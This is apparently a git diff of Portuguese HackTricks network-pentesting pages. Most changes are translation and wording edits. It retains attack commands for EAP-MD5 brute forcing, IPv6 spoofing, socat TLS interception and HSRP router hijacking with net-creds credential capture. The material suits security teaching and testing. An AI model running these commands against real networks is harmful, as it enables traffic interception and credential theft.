dispositivo VoIP sendo emulado (`-E` parâmetro), aderindo ao formato de nomenclatura Cisco (por exemplo, SEP seguido de um endereço MAC). @@ -515,7 +515,7 @@ yersinia dhcp -attack 3 #More parameters are needed ``` Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig) -Você poderia usar os ataques DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles fiquem sem resposta. Assim, quando os legítimos tentarem reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**. +Você pode usar os ataques DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles se tornem não responsivos. Assim, quando os legítimos tentarem se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**. #### Definir valores maliciosos @@ -549,7 +549,7 @@ Aqui estão algumas das táticas de ataque que podem ser usadas contra implement * Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS * Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar -Se o atacante estiver entre a vítima e o servidor de autenticação, ele pode tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Em seguida, ele pode usar força bruta para isso: +Se o atacante estiver entre a vítima e o servidor de autenticação, ele pode tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Em seguida, ele poderia usar força bruta para isso: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` @@ -612,7 +612,7 @@ Verifique a [seção anterior](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consiste em enviar um pacote ICMP tipo 1 código 5 que indica que o atacante é o melhor caminho para alcançar um IP. Então, quando a vítima quiser contatar o IP, ela enviará o pacote através do atacante. +ICMP Redirect consiste em enviar um pacote ICMP tipo 1 código 5 que indica que o atacante é o melhor caminho para alcançar um IP. Assim, quando a vítima quiser contatar o IP, enviará o pacote através do atacante. ```bash Ettercap icmp_redirect @@ -658,7 +658,7 @@ Leia aqui mais informações sobre [como se passar por serviços com Responder]( ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta desse servidor pelos clientes pode ocorrer através de vários mecanismos: +Os navegadores geralmente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta deste servidor pelos clientes pode ocorrer através de vários mecanismos: * Através do **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252. * Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local. @@ -668,16 +668,16 @@ A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD m ### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md) -Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre esse ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.** +Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre este ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.** ### Spoofing de Vizinhança IPv6 -Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante. +Este ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` -### IPv6 Router Advertisement Spoofing/Flooding +### Spoofing/Flooding de Anúncios de Roteador IPv6 Alguns sistemas operacionais configuram por padrão o gateway a partir dos pacotes RA enviados na rede. Para declarar o atacante como roteador IPv6, você pode usar: ```bash @@ -720,7 +720,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.** +**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory @@ -749,10 +749,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` -Às vezes, se o cliente verificar que a CA é válida, você poderia **servir um certificado de outro hostname assinado por uma CA**.\ +Às vezes, se o cliente verificar que a CA é válida, você pode **servir um certificado de outro hostname assinado por uma CA**.\ Outro teste interessante é **servir um certificado do hostname solicitado, mas autoassinado**. -Outras coisas a testar são tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como diffie hellman (um que não precise descriptografar nada com a verdadeira chave privada) e, quando o cliente solicitar uma prova da verdadeira chave privada (como um hash), enviar uma prova falsa e esperar que o cliente não verifique isso. +Outras coisas a testar são tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como Diffie-Hellman (um que não precise descriptografar nada com a verdadeira chave privada) e, quando o cliente solicitar uma prova da verdadeira chave privada (como um hash), enviar uma prova falsa e esperar que o cliente não verifique isso. ## Bettercap ```bash @@ -823,8 +823,8 @@ Bettercap transmite pacotes WSD procurando por serviços (UDP Porta 3702). {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index bf5c34938..9cece94b9 100644 --- a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -17,30 +17,30 @@ Aprenda e pratique GCP Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index 35425089d..1dd241f44 100644 --- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,21 +1,21 @@ -# Ataques EIGRP +# EIGRP Attacks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -**Este é um resumo dos ataques expostos em** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Verifique para mais informações. +**Este é um resumo dos ataques expostos em** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Confira para mais informações. ## **Ataque de Vizinhos Falsos EIGRP** @@ -32,7 +32,7 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 3ac7d3a87..218dd930d 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -1,16 +1,16 @@ -# Ataques GLBP & HSRP +# GLBP & HSRP Attacks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -19,46 +19,47 @@ Aprenda e pratique Hacking GCP: hsrp_hashes ``` -3. Quebre os hashes MD5 usando o John the Ripper. +3. Quebre os hashes MD5 usando John the Ripper. ```shell john --wordlist=mywordlist.txt hsrp_hashes ``` -**Executando a Injeção de HSRP com Loki** +**Executando a Injeção HSRP com Loki** -1. Inicie o Loki para identificar anúncios do HSRP. -2. Defina a interface de rede para o modo promíscuo e ative o encaminhamento de IP. +1. Inicie o Loki para identificar anúncios HSRP. +2. Defina a interface de rede para modo promíscuo e habilite o encaminhamento de IP. ```shell sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 ``` -3. Use o Loki para direcionar um roteador específico, insira a senha do HSRP quebrada e faça as configurações necessárias para se passar pelo Roteador Ativo. -4. Após obter o papel de Roteador Ativo, configure sua interface de rede e tabelas de IP para interceptar o tráfego legítimo. +3. Use o Loki para direcionar o roteador específico, insira a senha HSRP quebrada e execute as configurações necessárias para se passar pelo Roteador Ativo. +4. Após assumir o papel de Roteador Ativo, configure sua interface de rede e tabelas IP para interceptar o tráfego legítimo. ```shell sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` -5. Modifique a tabela de roteamento para rotear o tráfego através do antigo Roteador Ativo. +5. Modifique a tabela de roteamento para direcionar o tráfego através do antigo Roteador Ativo. ```shell sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -6. Use net-creds.py ou uma ferramenta similar para capturar credenciais do tráfego interceptado. +6. Use net-creds.py ou uma utilidade similar para capturar credenciais do tráfego interceptado. ```shell sudo python2 net-creds.py -i eth0 ``` -Executar essas etapas coloca o atacante em uma posição para interceptar e manipular o tráfego, semelhante ao procedimento para o sequestro de GLBP. Isso destaca a vulnerabilidade em protocolos de redundância como o HSRP e a necessidade de medidas de segurança robustas. +Executar esses passos coloca o atacante em uma posição para interceptar e manipular tráfego, semelhante ao procedimento para sequestro GLBP. Isso destaca a vulnerabilidade em protocolos de redundância como HSRP e a necessidade de medidas de segurança robustas. + +## Referências +- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) + +
+ +{% embed url="https://websec.nl/" %} + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index c719f7c02..c47d1276a 100644 --- a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -8,7 +8,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -39,7 +39,7 @@ Basta fragmentar os pacotes e enviá-los. Se o IDS/IPS não tiver a capacidade d # **Checksum** _**inválido**_ -Sensores geralmente não calculam checksum por razões de desempenho. Assim, um atacante pode enviar um pacote que será **interpretado pelo sensor, mas rejeitado pelo host final.** Exemplo: +Os sensores geralmente não calculam o checksum por razões de desempenho. Assim, um atacante pode enviar um pacote que será **interpretado pelo sensor, mas rejeitado pelo host final.** Exemplo: Envie um pacote com a flag RST e um checksum inválido, então, o IPS/IDS pode pensar que este pacote vai fechar a conexão, mas o host final descartará o pacote, pois o checksum é inválido. @@ -77,7 +77,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 45e5f6760..b840b63f0 100644 --- a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,16 +1,16 @@ -# Bypass de Segmentação Lateral de VLAN +# Lateral VLAN Segmentation Bypass {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 2a55e0e94..707b706e3 100644 --- a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -16,34 +16,33 @@ Aprenda e pratique GCP Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 27b0f186f..5a938da12 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,16 +1,16 @@ -# Resumo do Nmap (ESP) +# Nmap Summary (ESP) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -23,82 +23,83 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` ## Parâmetros -### IPs a serem escaneados +### IPs a escanear -* **`,`:** Indica os IPs diretamente -* **`-iL `:** lista_IPs -* **`-iR `**: Número de IPs aleatórios, você pode excluir IPs possíveis com `--exclude ` ou `--excludefile `. +* **`,`:** Indica os ips diretamente +* **`-iL `:** lista\_IPs +* **`-iR `**: Número de Ips aleatórios, você pode excluir possíveis Ips com `--exclude ` ou `--excludefile `. ### Descoberta de equipamentos -Por padrão, o Nmap lança uma fase de descoberta consistindo em: `-PA80 -PS443 -PE -PP` +Por padrão, o Nmap inicia uma fase de descoberta consistindo em: `-PA80 -PS443 -PE -PP` -* **`-sL`**: Não é invasivo, lista os alvos fazendo solicitações de **DNS** para resolver nomes. É útil para saber, por exemplo, se www.prueba.es/24 todos os IPs são nossos alvos. -* **`-Pn`**: **Sem ping**. Isso é útil se você souber que todos estão ativos (caso contrário, você poderia perder muito tempo, mas essa opção também produz falsos negativos dizendo que não estão 